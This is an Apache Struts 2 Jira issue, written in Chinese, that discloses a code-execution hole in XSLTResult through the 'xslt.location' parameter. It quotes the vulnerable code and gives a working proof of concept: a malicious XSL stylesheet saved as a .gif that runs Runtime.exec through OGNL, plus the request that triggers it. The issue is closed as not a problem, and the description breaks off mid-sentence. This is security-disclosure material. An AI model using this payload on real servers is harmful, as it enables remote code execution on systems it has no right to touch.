Uploaded image for project: 'Struts 2'
  1. Struts 2
  2. WW-3782

struts2框架XSLTResult本地文件代码执行漏洞

    XMLWordPrintableJSON

Details

    • Bug
    • Status: Closed
    • Minor
    • Resolution: Not A Problem
    • 2.3.1.2
    • 2.3.3
    • Core Actions
    • Patch

    Description

      http://www.inbreak.net/archives/319

      Reporter : kxlzx , Alibaba Security Team
      http://www.inbreak.net/
      struts2允许action有多种返回类型,其中包括XSLT类型,这种类型允许接受用户提交一个文件地址,并且去解析它为XSLT文件,无论扩展名是什么。

      这是XSLTResult文件代码:

      http://svn.apache.org/repos/asf/struts/struts2/trunk/core/src/main/java/org/apache/struts2/views/xslt/XSLTResult.java
      //获取用户提交的"xslt.location"的值
      String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");
      path = pathFromRequest;
      URL resource = ServletActionContext.getServletContext().getResource(path);
      //解析用户提交的文件地址为xslt
      templates = factory.newTemplates(new StreamSource(resource.openStream()));

      这段代码导致项目中只要有任何一个action使用了xsltResult,攻击者就可以让应用将解析攻击者上传的文件作xslt解析。

      示例一个使用了xsltResult的action:
      <action name="xslt" class="net.inbreak.xsltAction">
      <result type="xslt"/>
      </action>

      XSLT解析,允许执行java静态方法,所以,攻击者只要上传一个文件在服务器上

      例如:

      /upload/7758521.gif

      <?xml version="1.0" encoding="UTF-8" ?>
      <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      version="1.0" xmlns:ognl="ognl.Ognl">
      <xsl:template match="/">
      <html>
      <body>
      <h2>hacked by kxlzx</h2>
      <h2>http://www.inbreak.net</h2>
      <exp>
      <xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
      </exp>
      </body>
      </html>
      </xsl:template>
      </xsl:stylesheet>

      这个xsl文件解析时,会调用ognl中的
      ognl:getValue('@Runtime@getRuntime().exec("calc")', '')

      导致执行任意代码。

      一个xslt的返回action地址为

      http://www.inbreak.net/xslt.action

      那么,攻击者就可以提交

      http://www.inbreak.net/xslt.action?xslt.location=upload/7758521.gif

      就会变成

      Attachments

        1. struts.jpg
          47 kB
          kxlzx

        Activity

          People

            Unassigned Unassigned
            kxlzx kxlzx
            Votes:
            0 Vote for this issue
            Watchers:
            0 Start watching this issue

            Dates

              Created:
              Updated:
              Resolved: